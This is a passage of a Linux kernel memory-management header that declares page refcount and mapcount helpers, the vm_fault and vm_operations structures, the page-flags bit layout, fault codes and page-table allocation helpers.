* This interface is used by x86 PAT code to identify a pfn mapping that is
* linear over entire vma. This is to optimize PAT code that deals with
* marking the physical region with a particular prot. This is not for generic
* mm use. Note also that this check will not work if the pfn mapping is
* linear for a vma starting at physical address 0. In which case PAT code
* falls back to slow path of reserving physical range page by page.
*/
static inline int is_linear_pfn_mapping(struct vm_area_struct *vma)
{
return !!(vma->vm_flags & VM_PFN_AT_MMAP);
}
static inline int is_pfn_mapping(struct vm_area_struct *vma)
{
return !!(vma->vm_flags & VM_PFNMAP);
}
/*
* vm_fault is filled by the the pagefault handler and passed to the vma's
* ->fault function. The vma's ->fault is responsible for returning a bitmask
* of VM_FAULT_xxx flags that give details about how the fault was handled.
*
* pgoff should be used in favour of virtual_address, if possible. If pgoff
* is used, one may set VM_CAN_NONLINEAR in the vma->vm_flags to get nonlinear
* mapping support.
*/
struct vm_fault {
unsigned int flags; /* FAULT_FLAG_xxx flags */
pgoff_t pgoff; /* Logical page offset based on vma */
void __user *virtual_address; /* Faulting virtual address */
struct page *page; /* ->fault handlers should return a
* page here, unless VM_FAULT_NOPAGE
* is set (which is also implied by
* VM_FAULT_ERROR).
*/
};
/*
* These are the virtual MM functions - opening of an area, closing and
* unmapping it (needed to keep files on disk up-to-date etc), pointer
* to the functions called when a no-page or a wp-page exception occurs.
*/
struct vm_operations_struct {
void (*open)(struct vm_area_struct * area);
void (*close)(struct vm_area_struct * area);
int (*fault)(struct vm_area_struct *vma, struct vm_fault *vmf);
/* notification that a previously read-only page is about to become
* writable, if an error is returned it will cause a SIGBUS */
int (*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
/* called by access_process_vm when get_user_pages() fails, typically
* for use by special VMAs that can switch between memory and hardware
*/
int (*access)(struct vm_area_struct *vma, unsigned long addr,
void *buf, int len, int write);
#ifdef CONFIG_NUMA
/*
* set_policy() op must add a reference to any non-NULL @new mempolicy
* to hold the policy upon return. Caller should pass NULL @new to
* remove a policy and fall back to surrounding context--i.e. do not
* install a MPOL_DEFAULT policy, nor the task or system default
* mempolicy.
*/
int (*set_policy)(struct vm_area_struct *vma, struct mempolicy *new);
/*
* get_policy() op must add reference [mpol_get()] to any policy at
* (vma,addr) marked as MPOL_SHARED. The shared policy infrastructure
* in mm/mempolicy.c will do this automatically.
* get_policy() must NOT add a ref if the policy at (vma,addr) is not
* marked as MPOL_SHARED. vma policies are protected by the mmap_sem.
* If no [shared/vma] mempolicy exists at the addr, get_policy() op
* must return NULL--i.e., do not "fallback" to task or system default
* policy.
*/
struct mempolicy *(*get_policy)(struct vm_area_struct *vma,
unsigned long addr);
int (*migrate)(struct vm_area_struct *vma, const nodemask_t *from,
const nodemask_t *to, unsigned long flags);
#endif
};
struct mmu_gather;
struct inode;
#define page_private(page) ((page)->private)
#define set_page_private(page, v) ((page)->private = (v))
/* It's valid only if the page is free path or free_list */
static inline void set_freepage_migratetype(struct page *page, int migratetype)
{
set_page_private(page, migratetype);
}
/* It's valid only if the page is free path or free_list */
static inline int get_freepage_migratetype(struct page *page)
{
return page_private(page);
}
/*
* FIXME: take this include out, include page-flags.h in
* files which need it (119 of them)
*/
#include <linux/page-flags.h>
#include <linux/huge_mm.h>
/*
* Methods to modify the page usage count.
*
* What counts for a page usage:
* - cache mapping (page->mapping)
* - private data (page->private)
* - page mapped in a task's page tables, each mapping
* is counted separately
*
* Also, many kernel routines increase the page count before a critical
* routine so they can be sure the page doesn't go away from under them.
*/
/*
* Drop a ref, return true if the refcount fell to zero (the page has no users)
*/
static inline int put_page_testzero(struct page *page)
{
VM_BUG_ON(atomic_read(&page->_count) == 0);
return atomic_dec_and_test(&page->_count);
}
/*
* Try to grab a ref unless the page has a refcount of zero, return false if
* that is the case.
*/
static inline int get_page_unless_zero(struct page *page)
{
return atomic_inc_not_zero(&page->_count);
}
extern int page_is_ram(unsigned long pfn);
/* Support for virtually mapped pages */
struct page *vmalloc_to_page(const void *addr);
unsigned long vmalloc_to_pfn(const void *addr);
/*
* Determine if an address is within the vmalloc range
*
* On nommu, vmalloc/vfree wrap through kmalloc/kfree directly, so there
* is no special casing required.
*/
static inline int is_vmalloc_addr(const void *x)
{
#ifdef CONFIG_MMU
unsigned long addr = (unsigned long)x;
return addr >= VMALLOC_START && addr < VMALLOC_END;
#else
return 0;
#endif
}
#ifdef CONFIG_MMU
extern int is_vmalloc_or_module_addr(const void *x);
#else
static inline int is_vmalloc_or_module_addr(const void *x)
{
return 0;
}
#endif
extern void kvfree(const void *addr);
static inline void compound_lock(struct page *page)
{
#ifdef CONFIG_TRANSPARENT_HUGEPAGE
bit_spin_lock(PG_compound_lock, &page->flags);
#endif
}
static inline void compound_unlock(struct page *page)
{
#ifdef CONFIG_TRANSPARENT_HUGEPAGE
bit_spin_unlock(PG_compound_lock, &page->flags);
#endif
}
static inline unsigned long compound_lock_irqsave(struct page *page)
{
unsigned long uninitialized_var(flags);
#ifdef CONFIG_TRANSPARENT_HUGEPAGE
local_irq_save(flags);
compound_lock(page);
#endif
return flags;
}
static inline void compound_unlock_irqrestore(struct page *page,
unsigned long flags)
{
#ifdef CONFIG_TRANSPARENT_HUGEPAGE
compound_unlock(page);
local_irq_restore(flags);
#endif
}
static inline struct page *compound_head(struct page *page)
{
if (unlikely(PageTail(page)))
return page->first_page;
return page;
}
/*
* The atomic page->_mapcount, starts from -1: so that transitions
* both from it and to it can be tracked, using atomic_inc_and_test
* and atomic_add_negative(-1).
*/
static inline void reset_page_mapcount(struct page *page)
{
atomic_set(&(page)->_mapcount, -1);
}
static inline int page_mapcount(struct page *page)
{
return atomic_read(&(page)->_mapcount) + 1;
}
static inline int page_count(struct page *page)
{
return atomic_read(&compound_head(page)->_count);
}
static inline void get_huge_page_tail(struct page *page)
{
/*
* __split_huge_page_refcount() cannot run
* from under us.
*/
VM_BUG_ON(page_mapcount(page) < 0);
VM_BUG_ON(atomic_read(&page->_count) != 0);
atomic_inc(&page->_mapcount);
}
extern bool __get_page_tail(struct page *page);
static inline void get_page(struct page *page)
{
if (unlikely(PageTail(page)))
if (likely(__get_page_tail(page)))
return;
/*
* Getting a normal page or the head of a compound page
* requires to already have an elevated page->_count.
*/
VM_BUG_ON(atomic_read(&page->_count) <= 0);
atomic_inc(&page->_count);
}
static inline struct page *virt_to_head_page(const void *x)
{
struct page *page = virt_to_page(x);
return compound_head(page);
}
/*
* Setup the page count before being freed into the page allocator for
* the first time (boot or memory hotplug)
*/
static inline void init_page_count(struct page *page)
{
atomic_set(&page->_count, 1);
}
/*
* PageBuddy() indicate that the page is free and in the buddy system
* (see mm/page_alloc.c).
*
* PAGE_BUDDY_MAPCOUNT_VALUE must be <= -2 but better not too close to
* -2 so that an underflow of the page_mapcount() won't be mistaken
* for a genuine PAGE_BUDDY_MAPCOUNT_VALUE. -128 can be created very
* efficiently by most CPU architectures.
*/
#define PAGE_BUDDY_MAPCOUNT_VALUE (-128)
static inline int PageBuddy(struct page *page)
{
return atomic_read(&page->_mapcount) == PAGE_BUDDY_MAPCOUNT_VALUE;
}
static inline void __SetPageBuddy(struct page *page)
{
VM_BUG_ON(atomic_read(&page->_mapcount) != -1);
atomic_set(&page->_mapcount, PAGE_BUDDY_MAPCOUNT_VALUE);
}
static inline void __ClearPageBuddy(struct page *page)
{
VM_BUG_ON(!PageBuddy(page));
atomic_set(&page->_mapcount, -1);
}
void put_page(struct page *page);
void put_pages_list(struct list_head *pages);
void split_page(struct page *page, unsigned int order);
int split_free_page(struct page *page);
/*
* Compound pages have a destructor function. Provide a
* prototype for that function and accessor functions.
* These are _only_ valid on the head of a PG_compound page.
*/
typedef void compound_page_dtor(struct page *);
static inline void set_compound_page_dtor(struct page *page,
compound_page_dtor *dtor)
{
page[1].lru.next = (void *)dtor;
}
static inline compound_page_dtor *get_compound_page_dtor(struct page *page)
{
return (compound_page_dtor *)page[1].lru.next;
}
static inline int compound_order(struct page *page)
{
if (!PageHead(page))
return 0;
return (unsigned long)page[1].lru.prev;
}
static inline int compound_trans_order(struct page *page)
{
int order;
unsigned long flags;
if (!PageHead(page))
return 0;
flags = compound_lock_irqsave(page);
order = compound_order(page);
compound_unlock_irqrestore(page, flags);
return order;
}
static inline void set_compound_order(struct page *page, unsigned long order)
{
page[1].lru.prev = (void *)order;
}
#ifdef CONFIG_MMU
/*
* Do pte_mkwrite, but only if the vma says VM_WRITE. We do this when
* servicing faults for write access. In the normal case, do always want
* pte_mkwrite. But get_user_pages can cause write faults for mappings
* that do not have writing enabled, when used by access_process_vm.
*/
static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)
{
if (likely(vma->vm_flags & VM_WRITE))
pte = pte_mkwrite(pte);
return pte;
}
#endif
/*
* Multiple processes may "see" the same page. E.g. for untouched
* mappings of /dev/null, all processes see the same page full of
* zeroes, and text pages of executables and shared libraries have
* only one copy in memory, at most, normally.
*
* For the non-reserved pages, page_count(page) denotes a reference count.
* page_count() == 0 means the page is free. page->lru is then used for
* freelist management in the buddy allocator.
* page_count() > 0 means the page has been allocated.
*
* Pages are allocated by the slab allocator in order to provide memory
* to kmalloc and kmem_cache_alloc. In this case, the management of the
* page, and the fields in 'struct page' are the responsibility of mm/slab.c
* unless a particular usage is carefully commented. (the responsibility of
* freeing the kmalloc memory is the caller's, of course).
*
* A page may be used by anyone else who does a __get_free_page().
* In this case, page_count still tracks the references, and should only
* be used through the normal accessor functions. The top bits of page->flags
* and page->virtual store page management information, but all other fields
* are unused and could be used privately, carefully. The management of this
* page is the responsibility of the one who allocated it, and those who have
* subsequently been given references to it.
*
* The other pages (we may call them "pagecache pages") are completely
* managed by the Linux memory manager: I/O, buffers, swapping etc.
* The following discussion applies only to them.
*
* A pagecache page contains an opaque `private' member, which belongs to the
* page's address_space. Usually, this is the address of a circular list of
* the page's disk buffers. PG_private must be set to tell the VM to call
* into the filesystem to release these pages.
*
* A page may belong to an inode's memory mapping. In this case, page->mapping
* is the pointer to the inode, and page->index is the file offset of the page,
* in units of PAGE_CACHE_SIZE.
*
* If pagecache pages are not associated with an inode, they are said to be
* anonymous pages. These may become associated with the swapcache, and in that
* case PG_swapcache is set, and page->private is an offset into the swapcache.
*
* In either case (swapcache or inode backed), the pagecache itself holds one
* reference to the page. Setting PG_private should also increment the
* refcount. The each user mapping also has a reference to the page.
*
* The pagecache pages are stored in a per-mapping radix tree, which is
* rooted at mapping->page_tree, and indexed by offset.
* Where 2.4 and early 2.6 kernels kept dirty/clean pages in per-address_space
* lists, we instead now tag pages as dirty/writeback in the radix tree.
*
* All pagecache pages may be subject to I/O:
* - inode pages may need to be read from disk,
* - inode pages which have been modified and are MAP_SHARED may need
* to be written back to the inode on disk,
* - anonymous pages (including MAP_PRIVATE file mappings) which have been
* modified may need to be swapped out to swap space and (later) to be read
* back into memory.
*/
/*
* The zone field is never updated after free_area_init_core()
* sets it, so none of the operations on it need to be atomic.
*/
/*
* page->flags layout:
*
* There are three possibilities for how page->flags get
* laid out. The first is for the normal case, without
* sparsemem. The second is for sparsemem when there is
* plenty of space for node and section. The last is when
* we have run out of space and have to fall back to an
* alternate (slower) way of determining the node.
*
* No sparsemem or sparsemem vmemmap: | NODE | ZONE | ... | FLAGS |
* classic sparse with space for node:| SECTION | NODE | ZONE | ... | FLAGS |
* classic sparse no space for node: | SECTION | ZONE | ... | FLAGS |
*/
#if defined(CONFIG_SPARSEMEM) && !defined(CONFIG_SPARSEMEM_VMEMMAP)
#define SECTIONS_WIDTH SECTIONS_SHIFT
#else
#define SECTIONS_WIDTH 0
#endif
#define ZONES_WIDTH ZONES_SHIFT
#if SECTIONS_WIDTH+ZONES_WIDTH+NODES_SHIFT <= BITS_PER_LONG - NR_PAGEFLAGS
#define NODES_WIDTH NODES_SHIFT
#else
#ifdef CONFIG_SPARSEMEM_VMEMMAP
#error "Vmemmap: No space for nodes field in page flags"
#endif
#define NODES_WIDTH 0
#endif
/* Page flags: | [SECTION] | [NODE] | ZONE | ... | FLAGS | */
#define SECTIONS_PGOFF ((sizeof(unsigned long)*8) - SECTIONS_WIDTH)
#define NODES_PGOFF (SECTIONS_PGOFF - NODES_WIDTH)
#define ZONES_PGOFF (NODES_PGOFF - ZONES_WIDTH)
/*
* We are going to use the flags for the page to node mapping if its in
* there. This includes the case where there is no node, so it is implicit.
*/
#if !(NODES_WIDTH > 0 || NODES_SHIFT == 0)
#define NODE_NOT_IN_PAGE_FLAGS
#endif
/*
* Define the bit shifts to access each section. For non-existent
* sections we define the shift as 0; that plus a 0 mask ensures
* the compiler will optimise away reference to them.
*/
#define SECTIONS_PGSHIFT (SECTIONS_PGOFF * (SECTIONS_WIDTH != 0))
#define NODES_PGSHIFT (NODES_PGOFF * (NODES_WIDTH != 0))
#define ZONES_PGSHIFT (ZONES_PGOFF * (ZONES_WIDTH != 0))
/* NODE:ZONE or SECTION:ZONE is used to ID a zone for the buddy allocator */
#ifdef NODE_NOT_IN_PAGE_FLAGS
#define ZONEID_SHIFT (SECTIONS_SHIFT + ZONES_SHIFT)
#define ZONEID_PGOFF ((SECTIONS_PGOFF < ZONES_PGOFF)? \
SECTIONS_PGOFF : ZONES_PGOFF)
#else
#define ZONEID_SHIFT (NODES_SHIFT + ZONES_SHIFT)
#define ZONEID_PGOFF ((NODES_PGOFF < ZONES_PGOFF)? \
NODES_PGOFF : ZONES_PGOFF)
#endif
#define ZONEID_PGSHIFT (ZONEID_PGOFF * (ZONEID_SHIFT != 0))
#if SECTIONS_WIDTH+NODES_WIDTH+ZONES_WIDTH > BITS_PER_LONG - NR_PAGEFLAGS
#error SECTIONS_WIDTH+NODES_WIDTH+ZONES_WIDTH > BITS_PER_LONG - NR_PAGEFLAGS
#endif
#define ZONES_MASK ((1UL << ZONES_WIDTH) - 1)
#define NODES_MASK ((1UL << NODES_WIDTH) - 1)
#define SECTIONS_MASK ((1UL << SECTIONS_WIDTH) - 1)
#define ZONEID_MASK ((1UL << ZONEID_SHIFT) - 1)
static inline enum zone_type page_zonenum(const struct page *page)
{
return (page->flags >> ZONES_PGSHIFT) & ZONES_MASK;
}
/*
* The identification function is only used by the buddy allocator for
* determining if two pages could be buddies. We are not really
* identifying a zone since we could be using a the section number
* id if we have not node id available in page flags.
* We guarantee only that it will return the same value for two
* combinable pages in a zone.
*/
static inline int page_zone_id(struct page *page)
{
return (page->flags >> ZONEID_PGSHIFT) & ZONEID_MASK;
}
static inline int zone_to_nid(struct zone *zone)
{
#ifdef CONFIG_NUMA
return zone->node;
#else
return 0;
#endif
}
#ifdef NODE_NOT_IN_PAGE_FLAGS
extern int page_to_nid(const struct page *page);
#else
static inline int page_to_nid(const struct page *page)
{
return (page->flags >> NODES_PGSHIFT) & NODES_MASK;
}
#endif
static inline struct zone *page_zone(const struct page *page)
{
return &NODE_DATA(page_to_nid(page))->node_zones[page_zonenum(page)];
}
#if defined(CONFIG_SPARSEMEM) && !defined(CONFIG_SPARSEMEM_VMEMMAP)
static inline void set_page_section(struct page *page, unsigned long section)
{
page->flags &= ~(SECTIONS_MASK << SECTIONS_PGSHIFT);
page->flags |= (section & SECTIONS_MASK) << SECTIONS_PGSHIFT;
}
static inline unsigned long page_to_section(const struct page *page)
{
return (page->flags >> SECTIONS_PGSHIFT) & SECTIONS_MASK;
}
#endif
static inline void set_page_zone(struct page *page, enum zone_type zone)
{
page->flags &= ~(ZONES_MASK << ZONES_PGSHIFT);
page->flags |= (zone & ZONES_MASK) << ZONES_PGSHIFT;
}
static inline void set_page_node(struct page *page, unsigned long node)
{
page->flags &= ~(NODES_MASK << NODES_PGSHIFT);
page->flags |= (node & NODES_MASK) << NODES_PGSHIFT;
}
static inline void set_page_links(struct page *page, enum zone_type zone,
unsigned long node, unsigned long pfn)
{
set_page_zone(page, zone);
set_page_node(page, node);
#if defined(CONFIG_SPARSEMEM) && !defined(CONFIG_SPARSEMEM_VMEMMAP)
set_page_section(page, pfn_to_section_nr(pfn));
#endif
}
/*
* Some inline functions in vmstat.h depend on page_zone()
*/
#include <linux/vmstat.h>
static __always_inline void *lowmem_page_address(const struct page *page)
{
return __va(PFN_PHYS(page_to_pfn(page)));
}
#if defined(CONFIG_HIGHMEM) && !defined(WANT_PAGE_VIRTUAL)
#define HASHED_PAGE_VIRTUAL
#endif
#if defined(WANT_PAGE_VIRTUAL)
#define page_address(page) ((page)->virtual)
#define set_page_address(page, address) \
do { \
(page)->virtual = (address); \
} while(0)
#define page_address_init() do { } while(0)
#endif
#if defined(HASHED_PAGE_VIRTUAL)
void *page_address(const struct page *page);
void set_page_address(struct page *page, void *virtual);
void page_address_init(void);
#endif
#if !defined(HASHED_PAGE_VIRTUAL) && !defined(WANT_PAGE_VIRTUAL)
#define page_address(page) lowmem_page_address(page)
#define set_page_address(page, address) do { } while(0)
#define page_address_init() do { } while(0)
#endif
/*
* On an anonymous page mapped into a user virtual memory area,
* page->mapping points to its anon_vma, not to a struct address_space;
* with the PAGE_MAPPING_ANON bit set to distinguish it. See rmap.h.
*
* On an anonymous page in a VM_MERGEABLE area, if CONFIG_KSM is enabled,
* the PAGE_MAPPING_KSM bit may be set along with the PAGE_MAPPING_ANON bit;
* and then page->mapping points, not to an anon_vma, but to a private
* structure which KSM associates with that merged page. See ksm.h.
*
* PAGE_MAPPING_KSM without PAGE_MAPPING_ANON is currently never used.
*
* Please note that, confusingly, "page_mapping" refers to the inode
* address_space which maps the page from disk; whereas "page_mapped"
* refers to user virtual address space into which the page is mapped.
*/
#define PAGE_MAPPING_ANON 1
#define PAGE_MAPPING_KSM 2
#define PAGE_MAPPING_FLAGS (PAGE_MAPPING_ANON | PAGE_MAPPING_KSM)
extern struct address_space *page_mapping(struct page *page);
/* Neutral page->mapping pointer to address_space or anon_vma or other */
static inline void *page_rmapping(struct page *page)
{
return (void *)((unsigned long)page->mapping & ~PAGE_MAPPING_FLAGS);
}
static inline int PageAnon(struct page *page)
{
return ((unsigned long)page->mapping & PAGE_MAPPING_ANON) != 0;
}
/*
* Return the pagecache index of the passed page. Regular pagecache pages
* use ->index whereas swapcache pages use ->private
*/
static inline pgoff_t page_index(struct page *page)
{
if (unlikely(PageSwapCache(page)))
return page_private(page);
return page->index;
}
/*
* Return true if this page is mapped into pagetables.
*/
static inline int page_mapped(struct page *page)
{
return atomic_read(&(page)->_mapcount) >= 0;
}
/*
* Different kinds of faults, as returned by handle_mm_fault().
* Used to decide whether a process gets delivered SIGBUS or
* just gets major/minor fault counters bumped up.
*/
#define VM_FAULT_MINOR 0 /* For backwards compat. Remove me quickly. */
#define VM_FAULT_OOM 0x0001
#define VM_FAULT_SIGBUS 0x0002
#define VM_FAULT_MAJOR 0x0004
#define VM_FAULT_WRITE 0x0008 /* Special case for get_user_pages */
#define VM_FAULT_HWPOISON 0x0010 /* Hit poisoned small page */
#define VM_FAULT_HWPOISON_LARGE 0x0020 /* Hit poisoned large page. Index encoded in upper bits */
#define VM_FAULT_NOPAGE 0x0100 /* ->fault installed the pte, not return page */
#define VM_FAULT_LOCKED 0x0200 /* ->fault locked the returned page */
#define VM_FAULT_RETRY 0x0400 /* ->fault blocked, must retry */
#define VM_FAULT_HWPOISON_LARGE_MASK 0xf000 /* encodes hpage index for large hwpoison */
#define VM_FAULT_ERROR (VM_FAULT_OOM | VM_FAULT_SIGBUS | VM_FAULT_HWPOISON | \
VM_FAULT_HWPOISON_LARGE)
/* Encode hstate index for a hwpoisoned large page */
#define VM_FAULT_SET_HINDEX(x) ((x) << 12)
#define VM_FAULT_GET_HINDEX(x) (((x) >> 12) & 0xf)
/*
* Can be called by the pagefault handler when it gets a VM_FAULT_OOM.
*/
extern void pagefault_out_of_memory(void);
#define offset_in_page(p) ((unsigned long)(p) & ~PAGE_MASK)
/*
* Flags passed to show_mem() and show_free_areas() to suppress output in
* various contexts.
*/
#define SHOW_MEM_FILTER_NODES (0x0001u) /* filter disallowed nodes */
extern void show_free_areas(unsigned int flags);
extern bool skip_free_areas_node(unsigned int flags, int nid);
int shmem_lock(struct file *file, int lock, struct user_struct *user);
struct file *shmem_file_setup(const char *name, loff_t size, unsigned long flags);
void shmem_set_file(struct vm_area_struct *vma, struct file *file);
int shmem_zero_setup(struct vm_area_struct *);
extern int can_do_mlock(void);
extern int user_shm_lock(size_t, struct user_struct *);
extern void user_shm_unlock(size_t, struct user_struct *);
/*
* Parameter block passed down to zap_pte_range in exceptional cases.
*/
struct zap_details {
struct vm_area_struct *nonlinear_vma; /* Check page->index if set */
struct address_space *check_mapping; /* Check page->mapping if set */
pgoff_t first_index; /* Lowest page->index to unmap */
pgoff_t last_index; /* Highest page->index to unmap */
};
struct page *vm_normal_page(struct vm_area_struct *vma, unsigned long addr,
pte_t pte);
int zap_vma_ptes(struct vm_area_struct *vma, unsigned long address,
unsigned long size);
void zap_page_range(struct vm_area_struct *vma, unsigned long address,
unsigned long size, struct zap_details *);
void unmap_vmas(struct mmu_gather *tlb,
struct vm_area_struct *start_vma, unsigned long start_addr,
unsigned long end_addr, unsigned long *nr_accounted,
struct zap_details *);
/**
* mm_walk - callbacks for walk_page_range
* @pgd_entry: if set, called for each non-empty PGD (top-level) entry
* @pud_entry: if set, called for each non-empty PUD (2nd-level) entry
* @pmd_entry: if set, called for each non-empty PMD (3rd-level) entry
* this handler is required to be able to handle
* pmd_trans_huge() pmds. They may simply choose to
* split_huge_page() instead of handling it explicitly.
* @pte_entry: if set, called for each non-empty PTE (4th-level) entry
* @pte_hole: if set, called for each hole at all levels
* @hugetlb_entry: if set, called for each hugetlb entry
* *Caution*: The caller must hold mmap_sem() if @hugetlb_entry
* is used.
*
* (see walk_page_range for more details)
*/
struct mm_walk {
int (*pgd_entry)(pgd_t *, unsigned long, unsigned long, struct mm_walk *);
int (*pud_entry)(pud_t *, unsigned long, unsigned long, struct mm_walk *);
int (*pmd_entry)(pmd_t *, unsigned long, unsigned long, struct mm_walk *);
int (*pte_entry)(pte_t *, unsigned long, unsigned long, struct mm_walk *);
int (*pte_hole)(unsigned long, unsigned long, struct mm_walk *);
int (*hugetlb_entry)(pte_t *, unsigned long,
unsigned long, unsigned long, struct mm_walk *);
struct mm_struct *mm;
void *private;
};
int walk_page_range(unsigned long addr, unsigned long end,
struct mm_walk *walk);
void free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
unsigned long end, unsigned long floor, unsigned long ceiling);
int copy_page_range(struct mm_struct *dst, struct mm_struct *src,
struct vm_area_struct *vma);
void unmap_mapping_range(struct address_space *mapping,
loff_t const holebegin, loff_t const holelen, int even_cows);
int follow_pfn(struct vm_area_struct *vma, unsigned long address,
unsigned long *pfn);
int follow_phys(struct vm_area_struct *vma, unsigned long address,
unsigned int flags, unsigned long *prot, resource_size_t *phys);
int generic_access_phys(struct vm_area_struct *vma, unsigned long addr,
void *buf, int len, int write);
static inline void unmap_shared_mapping_range(struct address_space *mapping,
loff_t const holebegin, loff_t const holelen)
{
unmap_mapping_range(mapping, holebegin, holelen, 0);
}
extern void truncate_pagecache(struct inode *inode, loff_t old, loff_t new);
extern void truncate_setsize(struct inode *inode, loff_t newsize);
extern int vmtruncate(struct inode *inode, loff_t offset);
extern int vmtruncate_range(struct inode *inode, loff_t offset, loff_t end);
void truncate_pagecache_range(struct inode *inode, loff_t offset, loff_t end);
int truncate_inode_page(struct address_space *mapping, struct page *page);
int generic_error_remove_page(struct address_space *mapping, struct page *page);
int invalidate_inode_page(struct page *page);
#ifdef CONFIG_MMU
extern int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags);
extern int fixup_user_fault(struct task_struct *tsk, struct mm_struct *mm,
unsigned long address, unsigned int fault_flags);
#else
static inline int handle_mm_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
unsigned int flags)
{
/* should never happen if there's no MMU */
BUG();
return VM_FAULT_SIGBUS;
}
static inline int fixup_user_fault(struct task_struct *tsk,
struct mm_struct *mm, unsigned long address,
unsigned int fault_flags)
{
/* should never happen if there's no MMU */
BUG();
return -EFAULT;
}
#endif
extern int make_pages_present(unsigned long addr, unsigned long end);
extern int access_process_vm(struct task_struct *tsk, unsigned long addr, void *buf, int len, int write);
extern int access_remote_vm(struct mm_struct *mm, unsigned long addr,
void *buf, int len, int write);
int __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, int len, unsigned int foll_flags,
struct page **pages, struct vm_area_struct **vmas,
int *nonblocking);
int get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, int nr_pages, int write, int force,
struct page **pages, struct vm_area_struct **vmas);
int get_user_pages_fast(unsigned long start, int nr_pages, int write,
struct page **pages);
struct page *get_dump_page(unsigned long addr);
extern int try_to_release_page(struct page * page, gfp_t gfp_mask);
extern void do_invalidatepage(struct page *page, unsigned long offset);
int __set_page_dirty_nobuffers(struct page *page);
int __set_page_dirty_no_writeback(struct page *page);
int redirty_page_for_writepage(struct writeback_control *wbc,
struct page *page);
void account_page_dirtied(struct page *page, struct address_space *mapping);
void account_page_writeback(struct page *page);
int set_page_dirty(struct page *page);
int set_page_dirty_lock(struct page *page);
int clear_page_dirty_for_io(struct page *page);
/* Is the vma a continuation of the stack vma above it? */
static inline int vma_growsdown(struct vm_area_struct *vma, unsigned long addr)
{
return vma && (vma->vm_end == addr) && (vma->vm_flags & VM_GROWSDOWN);
}
static inline int stack_guard_page_start(struct vm_area_struct *vma,
unsigned long addr)
{
return (vma->vm_flags & VM_GROWSDOWN) &&
(vma->vm_start == addr) &&
!vma_growsdown(vma->vm_prev, addr);
}
/* Is the vma a continuation of the stack vma below it? */
static inline int vma_growsup(struct vm_area_struct *vma, unsigned long addr)
{
return vma && (vma->vm_start == addr) && (vma->vm_flags & VM_GROWSUP);
}
static inline int stack_guard_page_end(struct vm_area_struct *vma,
unsigned long addr)
{
return (vma->vm_flags & VM_GROWSUP) &&
(vma->vm_end == addr) &&
!vma_growsup(vma->vm_next, addr);
}
extern pid_t
vm_is_stack(struct task_struct *task, struct vm_area_struct *vma, int in_group);
extern unsigned long move_page_tables(struct vm_area_struct *vma,
unsigned long old_addr, struct vm_area_struct *new_vma,
unsigned long new_addr, unsigned long len);
extern unsigned long do_mremap(unsigned long addr,
unsigned long old_len, unsigned long new_len,
unsigned long flags, unsigned long new_addr);
extern int mprotect_fixup(struct vm_area_struct *vma,
struct vm_area_struct **pprev, unsigned long start,
unsigned long end, unsigned long newflags);
/*
* doesn't attempt to fault and will return short.
*/
int __get_user_pages_fast(unsigned long start, int nr_pages, int write,
struct page **pages);
/*
* per-process(per-mm_struct) statistics.
*/
static inline unsigned long get_mm_counter(struct mm_struct *mm, int member)
{
long val = atomic_long_read(&mm->rss_stat.count[member]);
#ifdef SPLIT_RSS_COUNTING
/*
* counter is updated in asynchronous manner and may go to minus.
* But it's never be expected number for users.
*/
if (val < 0)
val = 0;
#endif
return (unsigned long)val;
}
static inline void add_mm_counter(struct mm_struct *mm, int member, long value)
{
atomic_long_add(value, &mm->rss_stat.count[member]);
}
static inline void inc_mm_counter(struct mm_struct *mm, int member)
{
atomic_long_inc(&mm->rss_stat.count[member]);
}
static inline void dec_mm_counter(struct mm_struct *mm, int member)
{
atomic_long_dec(&mm->rss_stat.count[member]);
}
static inline unsigned long get_mm_rss(struct mm_struct *mm)
{
return get_mm_counter(mm, MM_FILEPAGES) +
get_mm_counter(mm, MM_ANONPAGES);
}
static inline unsigned long get_mm_hiwater_rss(struct mm_struct *mm)
{
return max(mm->hiwater_rss, get_mm_rss(mm));
}
static inline unsigned long get_mm_hiwater_vm(struct mm_struct *mm)
{
return max(mm->hiwater_vm, mm->total_vm);
}
static inline void update_hiwater_rss(struct mm_struct *mm)
{
unsigned long _rss = get_mm_rss(mm);
if ((mm)->hiwater_rss < _rss)
(mm)->hiwater_rss = _rss;
}
static inline void update_hiwater_vm(struct mm_struct *mm)
{
if (mm->hiwater_vm < mm->total_vm)
mm->hiwater_vm = mm->total_vm;
}
static inline void setmax_mm_hiwater_rss(unsigned long *maxrss,
struct mm_struct *mm)
{
unsigned long hiwater_rss = get_mm_hiwater_rss(mm);
if (*maxrss < hiwater_rss)
*maxrss = hiwater_rss;
}
#if defined(SPLIT_RSS_COUNTING)
void sync_mm_rss(struct mm_struct *mm);
#else
static inline void sync_mm_rss(struct mm_struct *mm)
{
}
#endif
int vma_wants_writenotify(struct vm_area_struct *vma);
extern pte_t *__get_locked_pte(struct mm_struct *mm, unsigned long addr,
spinlock_t **ptl);
static inline pte_t *get_locked_pte(struct mm_struct *mm, unsigned long addr,
spinlock_t **ptl)
{
pte_t *ptep;
__cond_lock(*ptl, ptep = __get_locked_pte(mm, addr, ptl));
return ptep;
}
#ifdef __PAGETABLE_PUD_FOLDED
static inline int __pud_alloc(struct mm_struct *mm, pgd_t *pgd,
unsigned long address)
{
return 0;
}
#else
int __pud_alloc(struct mm_struct *mm, pgd_t *pgd, unsigned long address);
#endif
#ifdef __PAGETABLE_PMD_FOLDED
static inline int __pmd_alloc(struct mm_struct *mm, pud_t *pud,
unsigned long address)
{
return 0;
}
#else
int __pmd_alloc(struct mm_struct *mm, pud_t *pud, unsigned long address);
#endif
int __pte_alloc(struct mm_struct *mm, struct vm_area_struct *vma,
pmd_t *pmd, unsigned long address);
int __pte_alloc_kernel(pmd_t *pmd, unsigned long address);
/*
* The following ifdef needed to get the 4level-fixup.h header to work.
* Remove it when 4level-fixup.h has been removed.
*/
#if defined(CONFIG_MMU) && !defined(__ARCH_HAS_4LEVEL_HACK)
static inline pud_t *pud_alloc(struct mm_struct *mm, pgd_t *pgd, unsigned long address)
{
return (unlikely(pgd_none(*pgd)) && __pud_alloc(mm, pgd, address))?
NULL: pud_offset(pgd, address);
}
